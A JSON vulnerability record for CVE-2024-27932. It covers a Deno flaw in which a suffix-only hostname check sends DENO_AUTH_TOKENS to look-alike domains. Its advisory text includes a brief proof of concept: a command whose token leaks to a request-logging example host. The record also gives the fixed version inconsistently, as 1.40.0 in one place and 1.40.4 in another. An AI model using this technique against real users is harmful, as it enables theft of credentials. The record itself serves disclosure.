{"id":"CVE-2024-27932","aliases":["CVE-2024-27932","GHSA-5frw-4rwq-xhcr"],"related":[],"kind":"vulnerability","state":"published","title":"Deno's improper suffix match testing for DENO_AUTH_TOKENS","summary":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue","source":"cvelist"},{"lang":"en","text":"### Summary\n\nDeno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.\n\n### Details\n\n[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.\n\n### PoC\n\n- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.\n- Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com`\n- Observe that the token intended only for the truncated domain is sent to the full domain\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAnyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Deno es un tiempo de ejecución de JavaScript, TypeScript y WebAssembly. A partir de la versión 1.8.0 y antes de la versión 1.40.4, Deno verifica incorrectamente que el nombre de host de un especificador de importación sea igual o hijo del nombre de host de un token, lo que puede causar que los tokens se envíen a servidores a los que no deberían enviarse. Un token de autenticación destinado a `example[.]com` puede enviarse a `notexample[.]com`. Cualquiera que utilice DENO_AUTH_TOKENS e importe código potencialmente no confiable se verá afectado. La versión 1.40.0 contiene un parche para este problema","source":"nvd"}],"published":"2024-03-06T17:03:36.000Z","modified":"2026-09-10T03:50:10.161Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","score":4.6,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","score":4.6,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","score":4.6,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","score":4.6,"rating":"MEDIUM"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"version":">= 1.8.0, < 1.40.4","status":"affected"}],"vendor":"denoland","product":"deno","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"1.8.0","fixed":"1.40.4","status":"affected"}],"vendor":"denoland","product":"deno","cpe":"cpe:2.3:a:denoland:deno:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.8.0","status":"affected","fixed":"1.40.4"}],"ecosystem":"crates.io","package":"deno","purl":"pkg:cargo/deno","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"1.8.0","fixed":"1.40.4"}],"vendor":"deno","product":"deno","cpe":"cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr","tags":["exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89","tags":["product","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27932","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/denoland/deno","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-08-05T16:57:53.068Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-27932","url":"https://www.cve.org/CVERecord?id=CVE-2024-27932","licence":"CVE Terms of Use","modified":"2024-08-05T16:59:34.779Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5frw-4rwq-xhcr","url":"https://github.com/advisories/GHSA-5frw-4rwq-xhcr","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:10.161Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-27932","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27932","licence":"Public domain","modified":"2026-06-17T07:20:37.380Z"}],"updatedAt":"2026-11-25T22:58:37.793Z","epss":{"score":0.00594,"percentile":0.4975,"date":"2026-12-01T12:00:22.000Z"}}